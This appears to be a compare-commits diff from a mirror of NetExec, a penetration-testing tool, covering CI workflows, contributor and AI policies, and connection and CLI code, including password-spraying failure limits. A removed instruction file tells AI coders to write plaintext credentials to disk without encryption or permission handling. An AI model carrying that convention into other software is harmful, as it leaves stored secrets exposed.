mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 10:09:50 -10:00
Compare commits
7
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c9ed049138 | ||
|
|
c93f1f239e | ||
|
|
b0497e8e02 | ||
|
|
127e47c500 | ||
|
|
b7df3f77e9 | ||
|
|
22029c01ed | ||
|
|
43c1fc67b0 |
No files matched your search
@@ -1,8 +0,0 @@
|
||||
blank_issues_enabled: false
|
||||
contact_links:
|
||||
- name: NetExec Wiki
|
||||
url: https://www.netexec.wiki/
|
||||
about: Check the wiki for usage guides and documentation before opening an issue.
|
||||
- name: NetExec Discord
|
||||
url: https://discord.com/invite/pjwUTQzg8R
|
||||
about: Join the Discord for general questions and community support.
|
||||
@@ -1,9 +1,8 @@
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
|
||||
|
||||
## Type of change
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
|
||||
@@ -13,28 +12,24 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
- [ ] Deprecation of feature or functionality
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
|
||||
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
|
||||
- Is additional software needed?
|
||||
- GPO changes required?
|
||||
- Specific registry settings that need to be changed?
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate, include before and after screenshot(s) to show which results are to be expected.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
|
||||
|
||||
- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
|
||||
- [ ] I have performed a self-review of my own code (_not_ an AI review)
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
|
||||
@@ -9,8 +9,8 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
|
||||
python-version: ["3.14"]
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.13"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
@@ -27,7 +27,7 @@ jobs:
|
||||
if: runner.os == 'windows'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-windows.exe
|
||||
name: nxc.exe
|
||||
path: dist/nxc.exe
|
||||
- name: Upload Nix/OSx Binary
|
||||
if: runner.os != 'windows'
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
+14
-10
@@ -14,16 +14,20 @@ jobs:
|
||||
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
enable-cache: true
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
run: uv python install 3.14
|
||||
- name: Install project with dev group
|
||||
run: uv sync --dev
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run ruff
|
||||
run: |
|
||||
uv run ruff --version
|
||||
uv run ruff check . --preview
|
||||
poetry run ruff --version
|
||||
poetry run ruff check . --preview
|
||||
@@ -1,54 +0,0 @@
|
||||
name: PR Template Check
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [opened, edited]
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
check-template:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Check PR description for template sections
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const body = context.payload.pull_request.body || '';
|
||||
const requiredSections = [
|
||||
'## Description',
|
||||
'## Type of change',
|
||||
'## Setup guide for the review',
|
||||
'## Checklist'
|
||||
];
|
||||
|
||||
const missingSections = requiredSections.filter(
|
||||
section => !body.includes(section)
|
||||
);
|
||||
|
||||
if (missingSections.length === 0) return;
|
||||
|
||||
// Check if we already left a comment to avoid spamming
|
||||
const comments = await github.rest.issues.listComments({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.payload.pull_request.number
|
||||
});
|
||||
|
||||
const botComment = comments.data.find(
|
||||
c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
|
||||
);
|
||||
|
||||
if (botComment) return;
|
||||
|
||||
const missing = missingSections.map(s => `- ${s}`).join('\n');
|
||||
|
||||
await github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.payload.pull_request.number,
|
||||
body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
|
||||
});
|
||||
+28
-19
@@ -14,26 +14,35 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
enable-cache: true
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
run: uv python install ${{ matrix.python-version }}
|
||||
- name: Install project
|
||||
run: uv sync --python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
uv run netexec winrm 127.0.0.1
|
||||
uv run netexec vnc 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1
|
||||
uv run netexec ldap 127.0.0.1
|
||||
uv run netexec wmi 127.0.0.1
|
||||
uv run netexec rdp 127.0.0.1
|
||||
uv run netexec mssql 127.0.0.1
|
||||
uv run netexec ssh 127.0.0.1
|
||||
uv run netexec ftp 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1 -L
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -L
|
||||
@@ -1,41 +0,0 @@
|
||||
# Authorized testing scope
|
||||
|
||||
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
|
||||
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
|
||||
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
|
||||
- Repository instructions do not grant authorization to test any third-party system.
|
||||
|
||||
# Coding style
|
||||
|
||||
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
|
||||
- Always bind caught exceptions as `e`, not `error` or another name.
|
||||
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
|
||||
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
|
||||
|
||||
# NetExec module structure
|
||||
|
||||
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
|
||||
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
|
||||
- Module scope should contain only imports and the `NXCModule` class definition.
|
||||
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
|
||||
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
|
||||
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
|
||||
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
|
||||
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
|
||||
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
|
||||
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
|
||||
- Run `ruff check .` after every coding session.
|
||||
|
||||
# Development and validation
|
||||
|
||||
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
|
||||
- Record every module-verification command in `tests/e2e_commands.txt`.
|
||||
- Do not run compilation checks.
|
||||
- Run Ruff after completing a coding session.
|
||||
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
@@ -1,78 +0,0 @@
|
||||
# AI Usage Policy
|
||||
|
||||
This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
|
||||
The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
|
||||
|
||||
The NetExec project has strict rules for AI usage:
|
||||
|
||||
- **All AI usage in any form must be disclosed.** You must state
|
||||
the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
|
||||
Codex 5.2, etc) along with the extent that the work was AI-assisted.
|
||||
|
||||
- **Pull requests created in any way by AI can only be for accepted issues.**
|
||||
Drive-by pull requests that do not reference an accepted issue may be
|
||||
rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
|
||||
the PR may be rejected and closed. If you want to share code for a
|
||||
non-accepted issue, open a discussion or attach it to the existing issue.
|
||||
|
||||
- **Pull requests created by AI must have been fully verified with
|
||||
human use.** AI must not create hypothetically correct code that
|
||||
hasn't been tested. Importantly, you must not allow AI to write
|
||||
code for platforms or environments you don't have access to manually
|
||||
test on.
|
||||
|
||||
- **Issues and pull requests should be written by humans.**
|
||||
Communication should remain human, not AI, and should be clear and concise.
|
||||
AI is very good at being overly verbose and including noise that distracts
|
||||
from the main point. While it is fine to cite AI or include AI-generated
|
||||
content, the main content of your issue or pull request should be written
|
||||
by a human. Issues or pull requests that look like they are just the
|
||||
result of an AI prompt will likely be rejected and closed.
|
||||
|
||||
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
|
||||
Text and code are the only acceptable AI-generated content, per the
|
||||
other rules in this policy.
|
||||
|
||||
- **Bad AI drivers will be banned** You've been warned. We love to help junior
|
||||
developers learn and grow, but if you're interested in that then don't use
|
||||
AI, and we'll help you.
|
||||
|
||||
- **Official maintainers have the final say** We always strive to be helpful,
|
||||
but there are limits. If you submit agregiously terrible AI generated code
|
||||
with no review, we may ban you without word. We do not want to waste our
|
||||
time reviewing slop if the contributor can't be bothered to review the work
|
||||
themselves.
|
||||
|
||||
These rules apply only to outside contributions to NetExec. Maintainers
|
||||
and trusted contributors are exempt from these rules and may use AI tools at
|
||||
their discretion; they've proven themselves trustworthy to apply good judgment.
|
||||
|
||||
## There are Humans Here
|
||||
|
||||
Please remember that NetExec is maintained by humans.
|
||||
|
||||
Every discussion, issue, and pull request is read and reviewed by
|
||||
humans (and sometimes machines, too). It is a boundary point at which
|
||||
people interact with each other and the work done. It is rude and
|
||||
disrespectful to approach this boundary with low-effort, unqualified
|
||||
work, since it puts the burden of validation on the maintainers.
|
||||
|
||||
In a perfect world, AI would produce high-quality, accurate work
|
||||
every time, but today that is simply not true. This is compounded by the fact
|
||||
that accessibility to AI is high, allowing low skilled individuals to think
|
||||
that they are contributing useful code. Even many skilled programmers do not
|
||||
understand how to use it effectively. This has opened up a waterfall of low
|
||||
quality contributions across the Open Source community, wasting resources.
|
||||
|
||||
## AI is Welcome Here, Within Reason
|
||||
|
||||
NetExec maintainers acknowledge AI as a productive tool to some workflows, and
|
||||
are open to leveraging this technology to improve NetExec; however, there are
|
||||
many low quality AI tools whose use results in pure slop being generated. The
|
||||
security communinity is not immune from AI psychosis, over-hype, or FOMO.
|
||||
As with any new technology, it is important to understand how it works and how
|
||||
to best use it, not blindly apply it to every use case with the hope that it
|
||||
will fix all your issues.
|
||||
|
||||
We include this section to be transparent about the project's usage about
|
||||
AI for people who may disagree with it.
|
||||
@@ -65,4 +65,3 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/XiaoliChan)
|
||||
[](https://github.com/termanix)
|
||||
[](https://github.com/Dfte)
|
||||
[](https://github.com/azoxlpf)
|
||||
+1
-7
@@ -19,10 +19,6 @@ a = Analysis(
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'certihound',
|
||||
'certipy.commands.find',
|
||||
'certipy.lib.formatting',
|
||||
'certipy.lib.target',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.examples.regsecrets',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
@@ -50,9 +46,8 @@ a = Analysis(
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.negotiate_parser',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
@@ -81,7 +76,6 @@ a = Analysis(
|
||||
'dploot.triage.wam',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.triage.cng',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
|
||||
+12
-15
@@ -24,24 +24,21 @@ def gen_cli_args():
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
DISTANCE = ""
|
||||
CODENAME = "Yippie-Ki-Yay"
|
||||
CODENAME = "SmoothOperator"
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic Options")
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
|
||||
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output Options")
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
log_level = output_group.add_mutually_exclusive_group()
|
||||
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
@@ -76,17 +73,17 @@ def gen_cli_args():
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules")
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
|
||||
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication")
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
@@ -97,13 +94,13 @@ def gen_cli_args():
|
||||
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
|
||||
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
certificate_group = std_parser.add_argument_group("Certificate Authentication")
|
||||
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
|
||||
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
|
||||
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
|
||||
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
|
||||
|
||||
@@ -37,13 +37,6 @@ audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
|
||||
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
|
||||
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
|
||||
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
|
||||
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
|
||||
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
|
||||
if not isinstance(exclude_hosts, list):
|
||||
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
if len(host_info_colors) != 4:
|
||||
|
||||
+31
-49
@@ -5,7 +5,7 @@ import sys
|
||||
import contextlib
|
||||
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore, Lock
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
from time import sleep
|
||||
from ipaddress import ip_address
|
||||
@@ -14,7 +14,7 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
@@ -22,10 +22,8 @@ from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
fail_lock = Lock()
|
||||
global_failed_logins = 0
|
||||
user_failed_logins = {}
|
||||
|
||||
@@ -137,9 +135,6 @@ class connection:
|
||||
self.db = db
|
||||
self.logger = nxc_logger
|
||||
self.conn = None
|
||||
self.output_file_template = None
|
||||
self.output_filename = None
|
||||
self.protocol = args.protocol
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
@@ -148,7 +143,6 @@ class connection:
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "generate_st") and self.args.generate_st) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
@@ -165,6 +159,11 @@ class connection:
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
if dns_result:
|
||||
@@ -175,14 +174,10 @@ class connection:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
self.logger.info(f"Connection __init__ info: host={self.host}, hostname={self.hostname}, port={self.port}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -244,26 +239,19 @@ class connection:
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if not self.create_conn_obj():
|
||||
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.info(f"Successfully created connection object for target '{self.host}'")
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
@@ -319,28 +307,26 @@ class connection:
|
||||
def inc_failed_login(self, username):
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
with fail_lock:
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
|
||||
user_failed_logins[username] += 1
|
||||
global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
user_failed_logins[username] += 1
|
||||
global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
|
||||
def over_fail_limit(self, username):
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
with fail_lock:
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
